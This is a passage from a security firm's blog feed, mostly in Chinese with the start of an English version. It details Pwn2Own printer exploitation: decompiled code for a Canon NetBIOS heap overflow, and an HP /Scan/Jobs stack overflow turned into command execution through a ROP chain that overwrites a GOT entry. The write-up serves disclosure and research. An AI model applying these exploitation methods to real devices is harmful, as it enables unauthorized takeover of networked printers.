class="n">netbios_name</span><span class="p">,</span> <span class="n">_BYTE</span> <span class="o">*</span><span class="n">domain_name</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">maxlen</span><span class="p">)</span> <span class="p">{</span> <span class="kt">char</span> <span class="n">v5</span><span class="p">;</span> <span class="c1">// r9</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">v11</span><span class="p">;</span> <span class="c1">// r0</span> <span class="n">_BYTE</span> <span class="o">*</span><span class="n">v12</span><span class="p">;</span> <span class="c1">// r1</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">char</span> <span class="n">v15</span><span class="p">;</span> <span class="c1">// r3</span> <span class="kt">char</span> <span class="n">v16</span><span class="p">;</span> <span class="c1">// r2</span> <span class="kt">int</span> <span class="n">v17</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">v18</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v19</span><span class="p">;</span> <span class="c1">// r3</span> <span class="kt">char</span> <span class="o">*</span><span class="n">label_</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">labellen_</span><span class="p">;</span> <span class="c1">// r4</span> <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">labellen</span><span class="p">;</span> <span class="c1">// t1</span> <span class="kt">char</span> <span class="o">*</span><span class="n">v23</span><span class="p">;</span> <span class="c1">// r5</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">next</span><span class="p">[</span><span class="mi">9</span><span class="p">];</span> <span class="c1">// [sp+4h] [bp-24h] BYREF</span> <span class="p">...</span> <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="n">v11</span> <span class="o">==</span> <span class="mh">0x20</span> <span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="n">v17</span> <span class="o">=</span> <span class="o">*</span><span class="n">next</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span> <span class="o">*</span><span class="n">next</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="p">)</span> <span class="n">v5</span> <span class="o">=</span> <span class="sc">'.'</span><span class="p">;</span> <span class="k">else</span> <span class="o">*</span><span class="n">domain_name</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v17</span> <span class="p">)</span> <span class="p">{</span> <span class="k">do</span> <span class="p">{</span> <span class="n">v18</span> <span class="o">=</span> <span class="n">resolveLabel</span><span class="p">(</span><span class="n">netbios_packet</span><span class="p">,</span> <span class="n">next</span><span class="p">);</span> <span class="n">labellen</span> <span class="o">=</span> <span class="o">*</span><span class="n">v18</span><span class="p">;</span> <span class="n">label_</span> <span class="o">=</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)(</span><span class="n">v18</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span> <span class="n">labellen_</span> <span class="o">=</span> <span class="n">labellen</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">maxlen</span> <span class="o">&gt;</span> <span class="n">labellen</span> <span class="p">)</span> <span class="p">{</span> <span class="n">memcpy</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">domain_name</span><span class="p">,</span> <span class="n">label_</span><span class="p">,</span> <span class="n">labellen_</span><span class="p">,</span> <span class="n">v19</span><span class="p">);</span> <span class="n">v23</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">domain_name</span><span class="p">[</span><span class="n">labellen_</span><span class="p">];</span> <span class="n">maxlan</span> <span class="o">-=</span> <span class="n">labellen_</span><span class="p">;</span> <span class="c1">// ---------- [2] // it does not subtract the length of "."</span> <span class="o">*</span><span class="n">v23</span> <span class="o">=</span> <span class="n">v5</span><span class="p">;</span> <span class="n">domain_name</span> <span class="o">=</span> <span class="n">v23</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> <span class="k">while</span> <span class="p">(</span> <span class="o">*</span><span class="n">next</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="p">);</span> <span class="o">*</span><span class="p">(</span><span class="n">domain_name</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="n">assset</span><span class="p">(</span><span class="s">"netcifsnqecorelib/IMP/nq/cmnbname.c"</span><span class="p">,</span> <span class="mh">0x44A86D7C</span><span class="p">,</span> <span class="mi">634</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span> <span class="k">return</span> <span class="n">next</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">logg</span><span class="p">(</span><span class="s">"netcifsnqecorelib/IMP/nq/cmnbname.c"</span><span class="p">,</span> <span class="mh">0x44A86D7C</span><span class="p">,</span> <span class="mi">595</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span> <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="p">}</span> </code></pre></div></div> <p>從這個函式中,可以看出他在處理 domain name 時,有按照所提供的參數來檢查長度,並且會在每個 label 間加入 <code class="language-plaintext highlighter-rouge">.</code>,然而在 <code class="language-plaintext highlighter-rouge">[2]</code> 的部分並沒有去檢查 <code class="language-plaintext highlighter-rouge">.</code> 這個字元的長度,實際上的長度可以比原本的 buffer 還要長,導致 buffer overflow。</p> <p><strong>Exploitation</strong></p> <p>原本以為會需要更詳細去逆向 Heap internal,不過幸運的是,後來發現到 buffer 後面有好用的結構可以利用。</p> <p>在 <code class="language-plaintext highlighter-rouge">netbios_ns_buffer</code> 後,存在一個結構,這邊先命名為 <code class="language-plaintext highlighter-rouge">nb_info</code></p> <p><strong>The layout of heap memory:</strong></p> <p><img src="/assets/img/blog/20231106/4.png" alt="" /></p> <p><strong>The structure of <code class="language-plaintext highlighter-rouge">nb_info</code> :</strong></p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="nc">nb_info</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">active</span><span class="p">;</span> <span class="kt">char</span> <span class="n">nbname</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span> <span class="kt">int</span> <span class="n">x</span><span class="p">;</span> <span class="kt">int</span> <span class="n">y</span><span class="p">;</span> <span class="kt">short</span> <span class="n">z</span><span class="p">;</span> <span class="kt">short</span> <span class="n">src_port</span><span class="p">;</span> <span class="kt">short</span> <span class="n">tid</span><span class="p">;</span> <span class="kt">short</span> <span class="n">w</span><span class="p">;</span> <span class="n">Adapter</span> <span class="o">*</span><span class="n">adapter</span><span class="p">;</span> <span class="kt">char</span> <span class="o">*</span><span class="n">ptr</span><span class="p">;</span> <span class="kt">int</span> <span class="n">state</span><span class="p">;</span> <span class="p">...</span> <span class="p">}</span> </code></pre></div></div> <p>該結構主要用來儲存 NetBIOS 的名稱資訊,而其中也包含另外一個結構,這裡命名為 <code class="language-plaintext highlighter-rouge">Adapter</code>,主要儲存該 NetBIOS 的連線資訊。</p> <p><strong>The structure of <code class="language-plaintext highlighter-rouge">Adapter</code> :</strong></p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="nc">Adapter</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">idx</span><span class="p">;</span> <span class="n">_BYTE</span> <span class="n">gap0</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span> <span class="kt">int</span> <span class="n">x</span><span class="p">;</span> <span class="kt">int</span> <span class="n">fd_1022</span><span class="p">;</span> <span class="kt">int</span> <span class="n">fd_1023</span><span class="p">;</span> <span class="kt">int</span> <span class="n">y</span><span class="p">;</span> <span class="n">_WORD</span> <span class="n">src_port</span><span class="p">;</span> <span class="n">_DWORD</span> <span class="n">src_ip</span><span class="p">;</span> <span class="kt">int</span> <span class="n">vvv</span><span class="p">;</span> <span class="kt">int</span> <span class="n">packet</span><span class="p">;</span> <span class="n">_DWORD</span> <span class="n">recv_bytes</span><span class="p">;</span> <span class="kt">char</span><span class="o">*</span> <span class="n">response_buf</span><span class="p">;</span> <span class="n">_DWORD</span> <span class="n">dword3C</span><span class="p">;</span> <span class="p">};</span> </code></pre></div></div> <p>在初步了解這些結構之後,我們可以先回頭看一下 <code class="language-plaintext highlighter-rouge">ndNameProcessExternalMessage</code>,如果將封包中的 flag 欄位設成 <code class="language-plaintext highlighter-rouge">0xA801</code>,將會使用 <code class="language-plaintext highlighter-rouge">ndInternalNameNegativeRegistration</code> 去處理 NetBIOS name. 該結果將會寫入<code class="language-plaintext highlighter-rouge">Adapter-&gt;responsebuf</code>.</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">case</span> <span class="mh">0xA801</span><span class="p">:</span> <span class="n">v6</span> <span class="o">=</span> <span class="n">ndInternalNameNegativeRegistration</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="n">nbname</span><span class="p">);</span> <span class="k">goto</span> <span class="n">LABEL_17</span><span class="p">;</span> </code></pre></div></div> <p>在 ndInternalNameNegativeRegistration 中:</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">ndInternalNameNegativeRegistration</span><span class="p">(</span><span class="n">Adapter</span> <span class="o">*</span><span class="n">adapter</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v8</span> <span class="p">)</span> <span class="p">{</span> <span class="n">returnNegativeRegistrationResponse</span><span class="p">((</span><span class="n">nb_info</span> <span class="o">*</span><span class="p">)</span><span class="n">v6</span><span class="p">,</span> <span class="n">adapter</span><span class="p">,</span> <span class="mi">3</span><span class="p">);</span> <span class="p">}</span> <span class="p">...</span> <span class="p">}</span> </code></pre></div></div> <p>只要滿足條件就會去 returnNegativeRegistrationResponse 處理 Response,而在 returnNegativeRegistrationResponse 中:</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">returnNegativeRegistrationResponse</span><span class="p">(</span><span class="n">nb_info</span> <span class="o">*</span><span class="n">nbinfo</span><span class="p">,</span> <span class="n">Adapter</span> <span class="o">*</span><span class="n">adapter</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a3</span><span class="p">)</span> <span class="p">{</span> <span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// r2</span> <span class="n">netbios_header</span> <span class="o">*</span><span class="n">response_buf</span><span class="p">;</span> <span class="c1">// r5</span> <span class="kt">int</span> <span class="n">NameWhateverResponse</span><span class="p">;</span> <span class="c1">// r2</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="n">v10</span><span class="p">[</span><span class="mi">20</span><span class="p">];</span> <span class="c1">// [sp+4h] [bp-2Ch] BYREF</span> <span class="kr">__int16</span> <span class="n">v11</span><span class="p">;</span> <span class="c1">// [sp+18h] [bp-18h] BYREF</span> <span class="kt">int</span> <span class="n">v12</span><span class="p">;</span> <span class="c1">// [sp+1Ah] [bp-16h] BYREF</span> <span class="n">maybe_memcpy_s</span><span class="p">(</span><span class="n">v10</span><span class="p">,</span> <span class="mh">0x44ED3100</span><span class="p">,</span> <span class="mi">20</span><span class="p">);</span> <span class="n">sub_41C47A20</span><span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="s">"netcifsnqendapp/IMP/nq/ndinname.c"</span><span class="p">,</span> <span class="mh">0x44ED30DC</span><span class="p">,</span> <span class="mi">2349</span><span class="p">,</span> <span class="mh">0x64u</span><span class="p">);</span> <span class="k">if</span><span class="p">...</span> <span class="n">v11</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">sub_40B06FD8</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="n">_DWORD</span> <span class="o">*</span><span class="p">)</span><span class="n">adapter</span><span class="o">-&gt;</span><span class="n">gap0</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">v12</span><span class="p">);</span> <span class="n">response_buf</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">netbios_header</span> <span class="o">**</span><span class="p">)</span><span class="n">nbinfo</span><span class="o">-&gt;</span><span class="n">adapter</span><span class="o">-&gt;</span><span class="n">responsebuf</span><span class="p">;</span> <span class="n">NameWhateverResponse</span> <span class="o">=</span> <span class="n">ndGenerateNameWhateverResponse</span><span class="p">(</span><span class="n">response_buf</span><span class="p">,</span> <span class="n">nbinfo</span><span class="o">-&gt;</span><span class="n">name</span><span class="p">,</span> <span class="mh">0x20u</span><span class="p">,</span> <span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="o">&amp;</span><span class="n">v11</span><span class="p">,</span> <span class="mi">6u</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="n">NameWhateverResponse</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span> <span class="n">response_buf</span><span class="o">-&gt;</span><span class="n">id</span> <span class="o">=</span> <span class="n">nbinfo</span><span class="o">-&gt;</span><span class="n">id</span><span class="p">;</span> <span class="c1">//------[3]</span> <span class="n">response_buf</span><span class="o">-&gt;</span><span class="n">flag</span> <span class="o">=</span> <span class="n">__rev16</span><span class="p">(</span><span class="n">a3</span> <span class="o">|</span> <span class="mh">0xA800</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="n">sySendToSocket</span><span class="p">(</span> <span class="n">nbinfo</span><span class="o">-&gt;</span><span class="n">adapter</span><span class="o">-&gt;</span><span class="n">fd_1022</span><span class="p">,</span> <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">response_buf</span><span class="p">,</span> <span class="n">NameWhateverResponse</span><span class="p">,</span> <span class="n">v10</span><span class="p">,</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kr">__int16</span><span class="p">)</span><span class="n">nbinfo</span><span class="o">-&gt;</span><span class="n">src_port</span><span class="p">)</span> <span class="o">&lt;=</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span> <span class="n">logg</span><span class="p">(</span><span class="s">"netcifsnqendapp/IMP/nq/ndinname.c"</span><span class="p">,</span> <span class="mh">0x44ED30DC</span><span class="p">,</span> <span class="mi">2392</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span> <span class="n">v6</span> <span class="o">=</span> <span class="mi">2393</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">v6</span> <span class="o">=</span> <span class="mi">2396</span><span class="p">;</span> <span class="p">}</span> <span class="k">goto</span> <span class="n">LABEL_9</span><span class="p">;</span> <span class="p">}</span> <span class="n">assset</span><span class="p">(</span><span class="s">"netcifsnqendapp/IMP/nq/ndinname.c"</span><span class="p">,</span> <span class="mh">0x44ED30DC</span><span class="p">,</span> <span class="mi">2372</span><span class="p">,</span> <span class="mi">100</span><span class="p">);</span> <span class="k">return</span> <span class="o">-</span><span class="mi">1</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>可以看到 <code class="language-plaintext highlighter-rouge">[3]</code> 會把 response_buf-&gt;id 寫成 nbinfo-&gt;id。</p> <p>也就是說,如果我們可以覆蓋掉 <code class="language-plaintext highlighter-rouge">nb_info</code> 結構,並且構造 <code class="language-plaintext highlighter-rouge">Adapter</code> 我們就會有一個任意記憶體寫入,而實際上構造方式很簡單,只要找個 Global Buffer 去構造就可以了,我們這邊選擇了 BJNP Session Buffer 去構造我們結構。</p> <p><img src="/assets/img/blog/20231106/5.png" alt="" /></p> <p>而在我們有任意寫入之後,我們可以覆蓋 SLP 的函數指針來達成 RCE,後續利用就與前述相同,這邊就不另外多做介紹了。</p> <h3 id="hp-1">HP</h3> <p>這次目標是 HP Collor LaserJet Pro M479fdw 這台印表機,其主要是 Linux Base 的,分析起來相對單純很多,而其中 Web Service 底下有許多的 cgi 來提供各種不同的印表機操作,這些都是透過 FastCGI 方式來運作,可參考 nginx config 來看每個 path 分別對應到哪個 Port 及哪個 Service</p> <p><code class="language-plaintext highlighter-rouge">/Sirius/rom/httpmgr_nginx/ledm.conf</code> <img src="/assets/img/blog/20231106/6.png" alt="" /></p> <p><strong>/usr/bin/local/slanapp</strong> 負責處理 scan 相關的操作,主要 listen 在 127.0.0.1:14030</p> <p><img src="/assets/img/blog/20231106/7.jpg" alt="" /></p> <p>當我們存取 /Scan/Jobs 路徑時,就會透過這個 cgi 來處理</p> <p><strong>漏洞位置</strong></p> <p>當 HP 處理 /Scan/Jobs 底下的 get 請求時,會使用 rest_scan_handle_get_request 來處理,同時也會將 pathinfo 一起傳入</p> <div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__fastcall</span> <span class="nf">rest_scan_handle_get_request</span><span class="p">(</span><span class="kt">int</span> <span class="n">a1</span><span class="p">,</span> <span class="kt">int</span> <span class="n">a2</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">s1</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">pathinfo</span><span class="p">,</span> <span class="kt">int</span> <span class="n">pathinfo_len</span><span class="p">)</span> <span class="p">{</span> <span class="k">struct</span> <span class="nc">httpmgr_fptrtbl</span> <span class="o">**</span><span class="n">v8</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">v9</span><span class="p">;</span> <span class="c1">// r1</span> <span class="kt">int</span> <span class="n">v10</span><span class="p">;</span> <span class="c1">// r2</span> <span class="k">struct</span> <span class="nc">httpmgr_fptrtbl</span> <span class="o">**</span><span class="n">v11</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">v12</span><span class="p">;</span> <span class="c1">// r1</span> <span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">v14</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">next_char</span><span class="p">;</span> <span class="c1">// r4</span> <span class="kt">unsigned</span> <span class="kr">__int8</span> <span class="o">*</span><span class="n">v16</span><span class="p">;</span> <span class="c1">// r3</span> <span class="kt">int</span> <span class="n">v17</span><span class="p">;</span> <span class="c1">// r1</span> <span class="kt">int</span> <span class="n">v18</span><span class="p">;</span> <span class="c1">// t1</span> <span class="kt">char</span> <span class="o">*</span><span class="n">v19</span><span class="p">;</span> <span class="c1">// r5</span> <span class="kt">int</span> <span class="n">v20</span><span class="p">;</span> <span class="c1">// r5</span> <span class="kt">int</span> <span class="n">v21</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">int</span> <span class="n">v22</span><span class="p">;</span> <span class="c1">// r7</span> <span class="kt">size_t</span> <span class="n">v23</span><span class="p">;</span> <span class="c1">// r8</span> <span class="kt">int</span> <span class="n">v24</span><span class="p">;</span> <span class="c1">// r0</span> <span class="kt">char</span> <span class="n">first_path_info</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span> <span class="c1">// [sp+8h] [bp-D8h] BYREF</span> <span class="kt">char</span> <span class="n">second_path_info</span><span class="p">[</span><span class="mi">32</span><span class="p">];</span> <span class="c1">// [sp+28h] [bp-B8h] BYREF</span> <span class="kt">char</span> <span class="n">pagenumber</span><span class="p">[</span><span class="mi">152</span><span class="p">];</span> <span class="c1">// [sp+48h] [bp-98h] BYREF</span> <span class="k">if</span><span class="p">...</span> <span class="k">if</span><span class="p">...</span> <span class="k">if</span> <span class="p">(</span> <span class="o">!</span><span class="n">strncmp</span><span class="p">(</span><span class="n">s1</span><span class="p">,</span> <span class="s">"/Scan/UserReadyToScan"</span><span class="p">,</span> <span class="mh">0x15u</span><span class="p">)</span> <span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="n">v14</span> <span class="o">=</span> <span class="n">strncmp</span><span class="p">(</span><span class="n">s1</span><span class="p">,</span> <span class="s">"/Scan/Jobs"</span><span class="p">,</span> <span class="mh">0xAu</span><span class="p">);</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v14</span> <span class="p">)</span> <span class="p">{</span> <span class="p">...</span> <span class="p">}</span> <span class="p">...</span> <span class="n">next_char</span> <span class="o">=</span> <span class="o">*</span><span class="n">pathinfo</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="p">(</span><span class="n">next_char</span> <span class="o">&amp;</span> <span class="mh">0xDF</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span> <span class="p">)</span> <span class="p">{</span> <span class="n">first_path_info</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="nl">LABEL_37:</span> <span class="n">_DEBUG_syslog</span><span class="p">(</span><span class="s">"REST_SCAN_DEBUG"</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x411FA215</span><span class="p">,</span> <span class="mi">400</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> <span class="n">v8</span> <span class="o">=</span> <span class="n">rest_scan_req_ifc_tbl</span><span class="p">;</span> <span class="n">v9</span> <span class="o">=</span> <span class="n">a1</span><span class="p">;</span> <span class="n">v10</span> <span class="o">=</span> <span class="mi">400</span><span class="p">;</span> <span class="k">goto</span> <span class="n">LABEL_6</span><span class="p">;</span> <span class="p">}</span> <span class="n">v16</span> <span class="o">=</span> <span class="n">pathinfo</span><span class="p">;</span> <span class="n">v17</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">do</span> <span class="c1">//------------------------------------------------------ [2] </span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span> <span class="n">next_char</span> <span class="o">!=</span> <span class="sc">'/'</span> <span class="p">)</span> <span class="n">first_path_info</span><span class="p">[</span><span class="mi">32</span> <span class="o">*</span> <span class="n">v17</span> <span class="o">+</span> <span class="n">v14</span><span class="p">]</span> <span class="o">=</span> <span class="n">next_char</span><span class="p">;</span> <span class="n">v19</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">first_path_info</span><span class="p">[</span><span class="mi">32</span> <span class="o">*</span> <span class="n">v17</span><span class="p">];</span> <span class="k">if</span> <span class="p">(</span> <span class="n">next_char</span> <span class="o">==</span> <span class="sc">'/'</span> <span class="p">)</span> <span class="p">{</span> <span class="n">v20</span> <span class="o">=</span> <span class="mi">32</span> <span class="o">*</span> <span class="n">v17</span><span class="o">++</span><span class="p">;</span> <span class="n">pagenumber</span><span class="p">[</span><span class="n">v20</span> <span class="o">-</span> <span class="mi">64</span> <span class="o">+</span> <span class="n">v14</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">v19</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">first_path_info</span><span class="p">[</span><span class="n">v20</span> <span class="o">+</span> <span class="mi">32</span><span class="p">];</span> <span class="n">v14</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> <span class="o">++</span><span class="n">v14</span><span class="p">;</span> <span class="p">}</span> <span class="n">v18</span> <span class="o">=</span> <span class="o">*++</span><span class="n">v16</span><span class="p">;</span> <span class="n">next_char</span> <span class="o">=</span> <span class="n">v18</span><span class="p">;</span> <span class="p">}</span> <span class="k">while</span> <span class="p">(</span> <span class="p">(</span><span class="n">v18</span> <span class="o">&amp;</span> <span class="mh">0xDF</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span> <span class="p">);</span> <span class="n">v19</span><span class="p">[</span><span class="n">v14</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">v17</span> <span class="o">!=</span> <span class="mi">2</span> <span class="o">||</span> <span class="n">strcmp</span><span class="p">(</span><span class="n">second_path_info</span><span class="p">,</span> <span class="s">"Pages"</span><span class="p">)</span> <span class="o">||</span> <span class="n">dword_5DBC8</span> <span class="o">!=</span> <span class="n">strtol</span><span class="p">(</span><span class="n">first_path_info</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">)</span> <span class="p">)</span> <span class="k">goto</span> <span class="n">LABEL_37</span><span class="p">;</span> <span class="n">v24</span> <span class="o">=</span> <span class="n">strtol</span><span class="p">(</span><span class="n">pagenumber</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">);</span> <span class="n">result</span> <span class="o">=</span> <span class="n">rest_scan_send_scan_data</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="n">v24</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span> <span class="k">if</span> <span class="p">(</span> <span class="n">result</span> <span class="p">)</span> <span class="n">rest_scan_vp_thread_created</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="k">else</span> <span class="k">return</span> <span class="n">rest_scan_send_err_reply</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="mi">400</span><span class="p">);</span> <span class="p">}</span> <span class="k">return</span> <span class="n">result</span><span class="p">;</span> <span class="p">}</span> </code></pre></div></div> <p>但當在 <code class="language-plaintext highlighter-rouge">[2]</code> 處理 pathinfo 時,並沒有檢查長度,並且直接複製到 local buffer(first_path_info[32]) 中,導致 stack overflow。</p> <p><strong>Exploitation</strong></p> <p>我們可以構造很長的 request 到 /Scan/Jobs/ 來觸發漏洞,並且該處沒有 Stack Guard 也沒有 ASLR,可以直接覆蓋 return address,這邊只需要做 ROP 覆蓋掉 strncmp 的 GOT 到 system 後,就可以透過 <code class="language-plaintext highlighter-rouge">/Copy/{cmd}</code> 來執行任意指令了。</p> <p>不過最終這個漏洞與其他隊伍撞洞了。</p> <h2 id="summary">Summary</h2> <p>從 Pwn2Own Austin 2021 到 Pwn2Own Toronto 2022 的結果看下來,印表機安全依舊是容易被忽略的,短短一年間,能打下印表機的隊伍也大幅增加,甚至到第三年 <a href="https://www.zerodayinitiative.com/blog/2023/10/23/pwn2own-toronto-2023-the-schedule">Pwn2Own Toronto 2023</a> 也還是被許多隊伍找到漏洞,最後也建議大家如果有使用到這些 IoT 設備,盡量把不必要的服務關閉並且設好防火牆及做好權限控管,以減少被攻擊的可能。</p> https://devco.re/blog/2023/11/06/your-printer-is-not-your-printer-hacking-printers-pwn2own-part2/ https://devco.re/blog/2023/11/06/your-printer-is-not-your-printer-hacking-printers-pwn2own-part2 Mon, 06 Nov 2023 00:00:00 +0800 Your printer is not your printer ! - Hacking Printers at Pwn2Own Part II <p><a href="/blog/2023/11/06/your-printer-is-not-your-printer-hacking-printers-pwn2own-part2-en/">English Version</a>, <a href="/blog/2023/11/06/your-printer-is-not-your-printer-hacking-printers-pwn2own-part2/">中文版本</a></p> <p><strong>Hacking Printers at Pwn2Own Toronto 2022</strong></p> <p>Based on our <a href="/blog/2023/10/05/your-printer-is-not-your-printer-hacking-printers-pwn2own-part1-en/">previous research</a>, we also discovered Pre-auth RCE vulnerabilities(<a href="https://www.zerodayinitiative.com/advisories/ZDI-23-553/">(CVE-2023-0853</a>、<a href="https://www.zerodayinitiative.com/advisories/ZDI-23-554/">CVE-2023-0854</a>) in other models of Canon printers. For the HP vulnerability, we had a collision with another team. In this section, we will detail the Canon and <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-35178">HP vulnerabilities</a> we exploited during Pwn2own Toronto.</p> <ul> <li>Pwn2Own Toronto 2022 Target</li> </ul> <table> <thead> <tr> <th>Target</th> <th>Price</th> <th>Master of Pwn Points</th> </tr> </thead> <tbody> <tr> <td>HP Collor LaserJet Pro M479fdw</td> <td>$20000</td> <td>2</td> </tr> <tr> <td>Lexmark MC3224i</td> <td>$20000</td> <td>2</td> </tr> <tr> <td>Canon imageCLASS MF743Cdw</td> <td>$20000</td> <td>2</td> </tr> </tbody> </table> <h2 id="analysis">Analysis</h2> <h3 id="canon">Canon</h3> <h4 id="firmware-extract">Firmware Extract</h4> <p>Same as 2021, you can refer to <a href="/blog/2023/10/05/your-printer-is-not-your-printer-hacking-printers-pwn2own-part1/">Part I</a>. The current version is v11.04.</p> <h3 id="hp">HP</h3> <p>The firmware can be obtained from HP’s official <a href="https://ftp.ext.hp.com/pub/networking/software/pfirmware/pfirmware.glf">website</a>. However, unlike in 2021, it cannot be directly extracted using binwalk. The firmware is encrypted with AES, and it’s hard to decrypt directly from the information.</p> <p>At first, our thought was to look for the firmware of the same series to see if there was an unencrypted version. However, there was no such firmware on HP’s official website that met our criteria. We initially considered tearing down the printer to dump the firmware, but during our search on Google, we stumbled upon an older mirror site. This site enabled directory listing, allowing us to access all the firmware stored on that mirror website.</p> <p>However, the problem was that the mirror site only mirrored up to 2016 and didn’t have the latest information. Still, we later managed to glean the official directory structure from the website information, which helped us to obtain an unencrypted firmware from a similar series.”</p> <p><img src="/assets/img/blog/20231106/1.png" alt="" /></p> <p>After our analysis, we found decryption-related information in the Firmware from <code class="language-plaintext highlighter-rouge">fwupd</code>. By reverse engineering, we were able to identify the encryption method and the Key. We can use the key to decrypt the target version of the 